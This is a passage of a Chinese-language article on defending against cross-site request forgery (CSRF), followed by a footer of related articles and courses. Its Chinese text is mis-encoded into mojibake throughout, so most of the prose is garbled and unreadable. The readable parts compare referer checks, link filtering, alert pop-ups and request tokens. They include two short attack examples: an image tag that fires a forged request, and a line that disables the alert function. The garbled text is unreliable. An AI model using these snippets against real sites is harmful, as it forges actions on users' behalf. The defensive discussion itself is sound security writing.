ͨ¹ý referer Åж¨À´Ô´Ò³Ã棺referer ÊÇÔÚ HTTP Request Head ÀïÃæµÄ£¬Ò²¾ÍÊÇÓÉÇëÇóµÄ·¢ËÍÕß¾ö¶¨µÄ¡£Èç¹ûÎÒϲ»¶£¬¿ÉÒÔ¸ø referer ÈκÎÖµ¡£µ±È»Õâ¸ö×ö·¨²¢²»ÊǺÁÎÞ×÷Óã¬ÆðÂë¿ÉÒÔ·ÀС°×¡£µ«ÎÒ¾õµÃÐԼ۱Ȳ»ÈçÁîÅÆ¡£

¹ýÂËËùÓÐÓû§·¢²¼µÄÁ´½Ó£ºÕâ¸öÊÇ×îÎÞЧµÄ×ö·¨£¬ÒòΪÊ×Ïȹ¥»÷Õß²»Ò»¶¨Òª´ÓÕ¾ÄÚ·¢ÆðÇëÇó£¨ÉÏÃæÌáµ½¹ýÁË£©£¬¶øÇÒ¾ÍËã´ÓÕ¾ÄÚ·¢ÆðÇëÇó£¬Í¾¾¶Ò²Ô¶Ô¶²»Ö¹Á´½ÓÒ»Ìõ¡£±ÈÈç:

<img src="./create_post.php" /> 

¾ÍÊǸö²»´íµÄÑ¡Ôñ£¬»¹²»ÐèÒªÓû§È¥µã»÷£¬Ö»ÒªÓû§µÄä¯ÀÀÆ÷»á×Ô¶¯¼ÓÔØÍ¼Æ¬£¬¾Í»á×Ô¶¯·¢ÆðÇëÇó¡£

?ÔÚÇëÇ󷢯ðÒ³ÃæÓà alert µ¯´°ÌáÐÑÓû§£ºÕâ¸ö·½·¨¿´ÉÏÈ¥ÄܸÉÈÅÕ¾Íâͨ¹ý iframe ·¢ÆðµÄ CSRF£¬µ«¹¥»÷ÕßÒ²¿ÉÒÔ¿¼ÂÇÓÃ

window.alert = function(){};

°Ñ alert ÅªÑÆ£¬»òÕ߸ɴàÍÑÀë iframe£¬Ê¹Óà Flash À´´ïµ½Ä¿µÄ¡£

×ÜÌåÀ´Ëµ£¬Ä¿Ç°·ÀÓù CSRF µÄÖî¶à·½·¨»¹Ã»¼¸¸öÄܳ¹µ×ÎÞ½âµÄ¡£ËùÒÔ CSDN ÉÏ¿´µ½ÌÖÂÛ CSRF µÄÎÄÕ£¬Ò»°ã¶¼»áº¬ÓС°Î޳ܡ±¶þ×ÖÀ´ÐÎÈÝ£¨ÁíһλÓиÃÃûºÅµÄÃ²ËÆÊÇ DDOS ¹¥»÷£©¡£×÷Ϊ¿ª·¢Õߣ¬ÎÒÃÇÄÜ×öµÄ¾ÍÊǾ¡Á¿Ìá¸ßÆÆ½âÄѶȡ£µ±ÆÆ½âÄѶȴﵽһ¶¨³Ì¶È£¬ÍøÕ¾¾Í±Æ½üÓÚ¾ø¶Ô°²È«µÄλÖÃÁË£¨ËäÈ»²»Äܵ½´ï£©¡£ÉÏÊöÇëÇóÁîÅÆ·½·¨£¬¾ÍÎÒ ÈÏΪÊÇ×îÓпÉÀ©Õ¹ÐԵģ¬ÒòΪÆäÔ­ÀíºÍ CSRF Ô­ÀíÊÇÏà¿ËµÄ¡£CSRF ÄÑÒÔ·ÀÓùÖ®´¦¾ÍÔÚÓÚ¶Ô·þÎñÆ÷¶ËÀ´Ëµ£¬Î±ÔìµÄÇëÇóºÍÕý³£µÄÇëÇó±¾ÖÊÉÏÊÇÒ»Öµġ£¶øÇëÇóÁîÅÆµÄ·½·¨£¬ÔòÊǾ¾³öÕâÖÖÇëÇóÉϵÄÎ¨Ò»Çø±ð¡ª¡ªÀ´Ô´Ò³Ã治ͬ¡£ÎÒÃÇ»¹¿É ÒÔ×ö½øÒ»²½µÄ¹¤×÷£¬ÀýÈçÈÃÒ³ÃæÖÐ token µÄ key ¶¯Ì¬»¯£¬½øÒ»²½Ìá¸ß¹¥»÷ÕßµÄÃż÷¡£±¾ÎÄÖ»ÊÇÎÒ¸öÈËÈÏʶµÄÒ»¸ö×ܽᣬ±ã²»ÌÖÂÛ¹ýÉîÁË¡£

   
2605 ´Îä¯ÀÀ       27
 
Ïà¹ØÎÄÕÂ

iOSÓ¦Óð²È«¿ª·¢£¬Äã²»ÖªµÀµÄÄÇЩÊÂÊõ
Web°²È«Ö®SQL×¢Èë¹¥»÷
ÒÆ¶¯APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
´ÓGoogle±¸·Ý»¥ÁªÍø¿´¡°Êý¾Ý°²È«¡±
 
Ïà¹ØÎĵµ

web°²È«Éè¼ÆÓë·À»¤
»¥ÁªÍøº£Á¿ÄÚÈݰ²È«´¦Àí¼¼Êõ
ºÚ¿Í¹¥»÷Óë·À·¶¼¼Êõ
WEBºÚºÐ°²È«¼ì²â
 
Ïà¹Ø¿Î³Ì

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶
×îл¼Æ»®
DeepSeekÔÚÈí¼þ²âÊÔÓ¦ÓÃʵ¼ù 4-12[ÔÚÏß]
DeepSeek´óÄ£ÐÍÓ¦Óÿª·¢Êµ¼ù 4-19[ÔÚÏß]
UAF¼Ü¹¹ÌåϵÓëʵ¼ù 4-11[±±¾©]
AIÖÇÄÜ»¯Èí¼þ²âÊÔ·½·¨Óëʵ¼ù 5-23[ÉϺ£]
»ùÓÚ UML ºÍEA½øÐзÖÎöÉè¼Æ 4-26[±±¾©]
ÒµÎñ¼Ü¹¹Éè¼ÆÓ뽨ģ 4-18[±±¾©]

iOSÓ¦Óð²È«¿ª·¢
Web°²È«Ö®SQL×¢Èë¹¥»÷
APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
³õ̽PHPµÄSQL×¢Èë¹¥»÷µÄ¼¼Êõ
´ÓGoogle±¸·Ý¿´¡°Êý¾Ý°²È«¡±

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
×¢²áÐÅÏ¢°²È«×¨ÒµÈËÔ±(CISP)
ÐÅÏ¢°²È«¹ÜÀí
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶

ÖйúÒøÐÐ ÐÅÏ¢°²È«¼¼Êõ¼°Éî¶È·ÀÓù
WebÓ¦Óð²È«¼Ü¹¹¡¢ÈëÇÖ¼ì²âÓë·À»¤
ij²ÆË°ÁìÓòÖªÃûIT·þÎñÉÌ Web°²È«²âÊÔ
ÆÕÈð¿Ë˹ web°²È«Éè¼Æ¡¢²âÊÔÓëÓÅ»¯
±±¾©ºÍÀûʱ ÐÔÄܺͰ²È«ÐÔ²âÊÔ
SUNÖйú¹¤³ÌÑо¿Ôº JSF¿ò¼Ü¡¢°²È«